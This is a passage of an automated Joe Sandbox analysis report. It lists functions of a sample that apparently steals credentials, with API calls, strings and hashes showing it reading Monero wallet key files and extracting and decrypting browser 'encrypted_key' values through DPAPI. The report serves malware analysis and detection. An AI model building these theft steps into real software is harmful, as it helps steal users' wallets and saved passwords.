APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00300E28,00000000,?), ref: 002F882F
RtlAllocateHeap.NTDLL(00000000), ref: 002F8836
wsprintfA.USER32 ref: 002F8850

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Strings

%dx%d, xrefs: 002F8847

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 4791eeb406fb379cc70cda1ae93c45297315baec5292687da64559513b86bff6
Instruction ID: 7971ee4ad42bb487d412d08757563088fbd13fedcef6d19de8bab0a0a4d33e40
Opcode Fuzzy Hash: 4791eeb406fb379cc70cda1ae93c45297315baec5292687da64559513b86bff6
Instruction Fuzzy Hash: 98214FB1E40208AFDB14DF94DD49FAEBBB8FF49701F104119F605A7280C779A905DBA1

Function 002F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,002F951E,00000000), ref: 002F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 002F8D62
wsprintfW.USER32 ref: 002F8D78

Strings

%hs, xrefs: 002F8D6F

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: f0f3da9d7a3ba86a29d9eaf8a72f59868f1f5488ab562c2b3825b5e772d80b66
Instruction ID: 8af2219e635ef5163c4116e1462c7c03bb647f673c8c68dcb5ae0c4ae5002348
Opcode Fuzzy Hash: f0f3da9d7a3ba86a29d9eaf8a72f59868f1f5488ab562c2b3825b5e772d80b66
Instruction Fuzzy Hash: CAE08CB1A40208BBE724DB94DC0AE6977B8EF06702F004094FE0997280DA719E05AB96

Function 002EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(00300E1A,01329C18,003005AE,?,?,002E13F9,?,0000001A,00300E1A,00000000,?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 002EA3FF
lstrlen.KERNEL32(00000000), ref: 002EA6BC

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

DeleteFileA.KERNEL32(00000000), ref: 002EA743

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5c447a622320d0d947c307d204261b96bd969a6301f0e771c155c05a34d2c66f
Instruction ID: cd42ac05c00dbbfff6009b6d7ac258a76b3793789e32d51bf6f75aff2fa58c30
Opcode Fuzzy Hash: 5c447a622320d0d947c307d204261b96bd969a6301f0e771c155c05a34d2c66f
Instruction Fuzzy Hash: 60E1B2B282010C9ADB15EBA4DD52DFEB338AF14780F508175F61B66091DE706A5DCF62

Function 002ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(00300E1A,01329C18,003005AE,?,?,002E13F9,?,0000001A,00300E1A,00000000,?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002ED481
lstrlen.KERNEL32(00000000), ref: 002ED698
lstrlen.KERNEL32(00000000), ref: 002ED6AC
DeleteFileA.KERNEL32(00000000), ref: 002ED72B

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c8482f8eccf58c505eadbba1bc4c698fed6d079f2f100538a12e887e836dff36
Instruction ID: 84889ef8523ffd6ede2df7ed1180529305ba0187d4caa44957b4adc30e8974ec
Opcode Fuzzy Hash: c8482f8eccf58c505eadbba1bc4c698fed6d079f2f100538a12e887e836dff36
Instruction Fuzzy Hash: 1691DFB18201089BDB14EBA4DD56DFEB338AF14780F508178F61B66091EF746A29CF62

Function 002ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(00300E1A,01329C18,003005AE,?,?,002E13F9,?,0000001A,00300E1A,00000000,?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002ED801
lstrlen.KERNEL32(00000000), ref: 002ED99F
lstrlen.KERNEL32(00000000), ref: 002ED9B3
DeleteFileA.KERNEL32(00000000), ref: 002EDA32

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 0d9b4415bfcc4d885e54e1e2acf7bea123ea3edb0e2f43f18ac95e336ba59dbc
Instruction ID: 13b322fa1c490fae095cf3b3d76940551c621c6766cbab31d339b35096d0d037
Opcode Fuzzy Hash: 0d9b4415bfcc4d885e54e1e2acf7bea123ea3edb0e2f43f18ac95e336ba59dbc
Instruction Fuzzy Hash: C181EFB19201089BCB14FBA4DD56DFEB338AF14780F504538F60BA6091EF746A29DF62

Function 002F70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s/, xrefs: 002F7111
s/, xrefs: 002F72AE, 002F7179, 002F717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 002F718C

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s/$s/$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1218915482
Opcode ID: 86d957f8b0354ac769be2803197e70e997e829955587f017158ba3627b4bcbfe
Instruction ID: 47d50220f9ed86271d9c7041711738cc785267d44bfce3b1908347a806e53701
Opcode Fuzzy Hash: 86d957f8b0354ac769be2803197e70e997e829955587f017158ba3627b4bcbfe
Instruction Fuzzy Hash: CE517BB0C2421DABDB14EB90DC95BFEF374AF14340F1041A8E60966181EB746A98CF54

Function 002F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 4272d0537a965ab5f0de448e066a7377676f4a577232f7b8abebcabc9f84d515
Instruction ID: 5bee3f22a71acd4a6df81619fdbc6319d6b3a354639978de214a0f46b1521de4
Opcode Fuzzy Hash: 4272d0537a965ab5f0de448e066a7377676f4a577232f7b8abebcabc9f84d515
Instruction Fuzzy Hash: CC4142B1D2010DEBCB04EFA4D955AFEF778AF54744F008028E616B6290DB746A19CFA5

Function 002E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002E148F,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002E148F), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 002E9D39

Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9AEF
Part of subcall function 002E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,002E4EEE,00000000,?), ref: 002E9B01
Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9B2A
Part of subcall function 002E9AC0: LocalFree.KERNEL32(?,?,?,?,002E4EEE,00000000,?), ref: 002E9B3F

Part of subcall function 002E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 002E9B84
Part of subcall function 002E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 002E9BA3
Part of subcall function 002E9B60: LocalFree.KERNEL32(?), ref: 002E9BD3

Strings

, xrefs: 002E9DC1
"encrypted_key":", xrefs: 002E9D30
DPAPI, xrefs: 002E9D89

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: c0389d4d615502c7c39057412fa86a0aeb01eda9019db6c587ca6b98c96e882e
Instruction ID: ec17767fd2dba595aec0d45389c3a04dad1557dea7b908cb350eb8e45839293e
Opcode Fuzzy Hash: c0389d4d615502c7c39057412fa86a0aeb01eda9019db6c587ca6b98c96e882e
Instruction Fuzzy Hash: D13161B5D2020DABCF04EFE5DC85AEFB7B8AF48304F544569E905A3241E7309A64CBA1

Function 002F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003005B7), ref: 002F86CA
Process32First.KERNEL32(?,00000128), ref: 002F86DE
Process32Next.KERNEL32(?,00000128), ref: 002F86F3

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

CloseHandle.KERNEL32(?), ref: 002F8761

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 3dd9f751d1cbc0ba5b7ea2f9642579aeb2f67bb506c1774c9f63147dcd69c649
Instruction ID: fc0c1fd688488dfb6c405906b0a8216933aef9a0dfd70db18174d2906a0b1516
Opcode Fuzzy Hash: 3dd9f751d1cbc0ba5b7ea2f9642579aeb2f67bb506c1774c9f63147dcd69c649
Instruction Fuzzy Hash: 19316DB192121CABCB24EF50CC45FEEF778EF45780F1041A9E20EA61A0DB706A55CFA1

Function 002F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00300E00,00000000,?), ref: 002F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 002F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00300E00,00000000,?), ref: 002F79C4
wsprintfA.USER32 ref: 002F79F3

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

